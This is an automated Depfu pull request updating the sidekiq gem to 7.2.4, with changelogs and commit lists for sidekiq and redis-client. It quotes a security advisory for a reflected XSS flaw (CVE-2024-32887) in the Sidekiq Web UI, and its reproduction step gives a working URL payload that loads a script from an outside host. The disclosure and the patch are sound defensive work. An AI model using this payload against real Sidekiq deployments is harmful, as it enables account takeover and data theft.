petakopi.my
petakopi.my copied to clipboard
🚨 [security] [ruby] Update sidekiq 7.2.1 → 7.2.4 (patch)
🚨 Your current dependencies have known security vulnerabilities 🚨
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.
What changed?
✳️ sidekiq (7.2.1 → 7.2.4) · Repo · Changelog
Security Advisories 🚨
🚨 Sidekiq vulnerable to a Reflected XSS in Queues Web Page
Description:
During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.
This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.
Impact:
The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.
Mitigation:
Encode all output data before rendering it in the response to prevent XSS attacks.
Steps to Reproduce:
- Go to the following URL of the sidekiq Web UI:
https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E- XSS payload will be executed, causing a popup.
Evidence:
Release Notes
7.2.2 (from changelog)
- Add
Process.warmup
call in Ruby 3.3+- Batch jobs now skip transactional push [#6160]
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 33 commits:
Fix for CVE-2024-32887
changes
prep for release
Fix Rack deprecation
Fix session secret error in tests with rails 71
Fix build, latest ent changes
Add **kwargs to dynamic redis client method definition (#6249)
Fix typos (#6245)
formatting
Use lax decoding, fixes #6241
Bump actions/dependency-review-action from 3 to 4 (#6171)
optimize heartbeat, fixes #6227
New CI setup for Dragonfly + Redis
Add dragonfly CI
Add language selector and session language persistance (#6217)
Add ability to find a currently running work by jid (#6212)
Improve web application test coverage, fixes #6206
add more test coverage for web/application.rb
metrics filtering shouldnt allow live poll, fixes #6203
fmt
722
bump
722
fix: Avoid JSON dump on Rails.application (#6198)
Add comment to sidekiq.service for use as user service (#6191)
formatting, logging
Dragonfly support
release
fix: fix determine_redis_provider test behaviour (#6176)
Better, thanks @jjb
standard formatting
Implement Process.warmup in Ruby 3.3
Batch jobs should push immediately, fixes #6160
↗️ rack (indirect, 3.0.9.1 → 3.0.10) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by 2 commits:
↗️ redis-client (indirect, 0.19.1 → 0.22.1) · Repo · Changelog
Release Notes
0.20.0 (from changelog)
- Accept
unix://
schemes as well as simple paths in theurl:
config parameter. #170.- Make basic usage Ractor compatible.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 74 commits:
Release 0.22.1
Merge pull request #193 from redis-rb/workaround-ssl-socket-buffer-clear
Fix ruby-head unused block argument warning
Workaround SSLSocket always clearing the buffer
Update test certificates
Release 0.22.0
Merge pull request #189 from redis-rb/fix-utf8-response
Fix BufferedIO to search with `byteindex`
Merge pull request #188 from eregon/improve-condition
Improve condition for whether force_encoding is needed
Merge pull request #187 from philippeboyd/feature/add-pipeline-raise_exception-flag
feat(pipeline): add flag to disable raising exceptions
Merge pull request #186 from redis-rb/dependabot/bundler/rake-13.2.1
Bump rake from 13.1.0 to 13.2.1
Merge pull request #185 from jmthomas/windows_detection
Better detection of Windows platform
RESP3: Pre-freeze hash keys
Update CHANGELOG
Always assume UTF-8 encoding instead of relying on `Encoding.default_external`
Merge pull request #184 from redis-rb/bench-hiredis-vs-ruby
Fix compatibility with TruffleRuby
Record drivers benchmark with ruby-head
BufferedIO#getbyte: optimistically read the next byte
BufferedIO: Use a buffer with `Encoding.default_external`
RESP3: parse sequence sizes with getbyte
Resp3#parse use a jump table rather than a hash lookup + send
Record Ruby VS Hiredis benchmarks
Release 0.21.1
Re-run benchmarks
Merge pull request #183 from stanhu/sh-fix-unresolved-sentinel-config
Handle unresolved Sentinel master/replica error
Merge pull request #181 from redis-rb/dependabot/bundler/minitest-5.22.3
Bump minitest from 5.22.2 to 5.22.3
Merge pull request #180 from ngan/retry-write-on-ssl-errors
Rescue OpenSSL::SSL::SSLError for write and write_multi
Release 0.21.0
Merge pull request #178 from stanhu/sh-improve-log-messages
Improve `Config#server_url`
Improve error log message output
Merge pull request #179 from stanhu/sh-add-unit-test-multi-exec
Add unit test/comment for multi/exec handling
Merge pull request #176 from stanhu/sh-shutdown-redis-sentinel-connection
Close Redis Sentinel connection after resolving role
Merge pull request #175 from redis-rb/dependabot/bundler/minitest-5.22.2
Bump minitest from 5.22.0 to 5.22.2
Release 0.20.0
Merge pull request #174 from stanhu/sh-add-prelude-unit-tests
Add more unit tests for connection prelude
Merge pull request #173 from stanhu/sh-freeze-prelude
Ensure all elements of connection prelude are frozen
Merge pull request #172 from redis-rb/dependabot/bundler/minitest-5.22.0
Merge pull request #171 from redis-rb/dependabot/bundler/rake-compiler-1.2.7
Bump minitest from 5.21.2 to 5.22.0
Bump rake-compiler from 1.2.6 to 1.2.7
Merge pull request #170 from tacerus/unix
Support `unix://` schemes and pure paths in `url:` config
Merge pull request #169 from redis-rb/dependabot/bundler/rubocop-minitest-0.30.0
Merge pull request #168 from redis-rb/dependabot/bundler/rake-compiler-1.2.6
Bump rubocop-minitest from 0.27.0 to 0.30.0
Bump rake-compiler from 1.2.5 to 1.2.6
Merge pull request #163 from jgmontoya/feat/make-client-ractor-compatible
Fix compatibility with Ractors
Merge pull request #166 from redis-rb/dependabot/bundler/rubocop-1.50.2
Bump rubocop from 1.28.2 to 1.50.2
Merge pull request #167 from redis-rb/dependabot/bundler/rubocop-minitest-0.27.0
Bump rubocop-minitest from 0.19.1 to 0.27.0
Merge pull request #165 from redis-rb/dependabot/bundler/minitest-5.21.2
Bump minitest from 5.21.1 to 5.21.2
Merge pull request #164 from redis-rb/dependabot/github_actions/actions/cache-4
Bump actions/cache from 3 to 4
Drop support for Ruby 2.5
Merge pull request #160 from redis-rb/dependabot/bundler/stackprof-0.2.26
Update minitest
Bump stackprof from 0.2.25 to 0.2.26
👉 No CI detected
You don't seem to have any Continuous Integration service set up!
Without a service that will test the Depfu branches and pull requests, we can't inform you if incoming updates actually work with your app. We think that this degrades the service we're trying to provide down to a point where it is more or less meaningless.
This is fine if you just want to give Depfu a quick try. If you want to really let Depfu help you keep your app up-to-date, we recommend setting up a CI system:
* [Circle CI](https://circleci.com), [Semaphore ](https://semaphoreci.com) and [Github Actions](https://docs.github.com/actions) are all excellent options. * If you use something like Jenkins, make sure that you're using the Github integration correctly so that it reports status data back to Github. * If you have already set up a CI for this repository, you might need to check your configuration. Make sure it will run on all new branches. If you don’t want it to run on every branch, you can whitelist branches starting with `depfu/`.Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase
.
All Depfu comment commands
- @depfu rebase
- Rebases against your default branch and redoes this update
- @depfu recreate
- Recreates this PR, overwriting any edits that you've made to it
- @depfu merge
- Merges this PR once your tests are passing and conflicts are resolved
- @depfu cancel merge
- Cancels automatic merging of this PR
- @depfu close
- Closes this PR and deletes the branch
- @depfu reopen
- Restores the branch and reopens this PR (if it's closed)
- @depfu pause
- Ignores all future updates for this dependency and closes this PR
- @depfu pause [minor|major]
- Ignores all future minor/major updates for this dependency and closes this PR
- @depfu resume
- Future versions of this dependency will create PRs again (leaves this PR as is)